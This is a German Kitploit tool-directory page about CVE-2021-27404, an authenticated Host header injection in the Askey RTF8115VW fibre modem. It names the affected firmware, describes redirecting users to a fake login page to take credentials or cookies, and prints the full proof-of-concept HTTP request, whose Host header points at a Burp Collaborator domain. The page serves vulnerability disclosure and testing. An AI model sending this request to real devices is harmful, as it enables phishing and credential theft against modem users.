Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-27404 — HostHeaderInjection-Askey | Kitploit
Tools/GitHubGitHub/bokanrb/cve-2021-27404
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPhishingWebsicherheitPenetrationstests
GitHubbokanrb/cve-2021-27404

CVE-2021-27404

HostHeaderInjection-Askey

Repository anzeigen
312vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Authentifizierte Host-Header-Injection - Askey-Glasfaser-Modem

Hersteller: Askey
Softwareversion: BR_SV_g11.11_RTF_TEF001_V6.54_V014
Modell: RTF8115VW
Verwundbarer Header: Host
Nicht in anderen Modellen/Versionen getestet.

Auswirkung: Ein Angreifer könnte diese Schwachstelle ausnutzen, um den Benutzer auf eine gefälschte Anmeldeseite umzuleiten und so dessen Anmeldeinformationen oder Cookies zu extrahieren.

Die finale Anfrage

root@kitploit:~
GET / HTTP/1.1
Host: kay4tb35bh55y38n8h4teim21t7jv8.burpcollaborator.net
Cookie: _httpdSessionId_=7924107467ea5838a196b65306ca7236
Upgrade-Insecure-Requests: 1
Referer: http://x.x.x.x/cgi-bin/te_logout.cgi
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate

Alternativtext

Tool herunterladen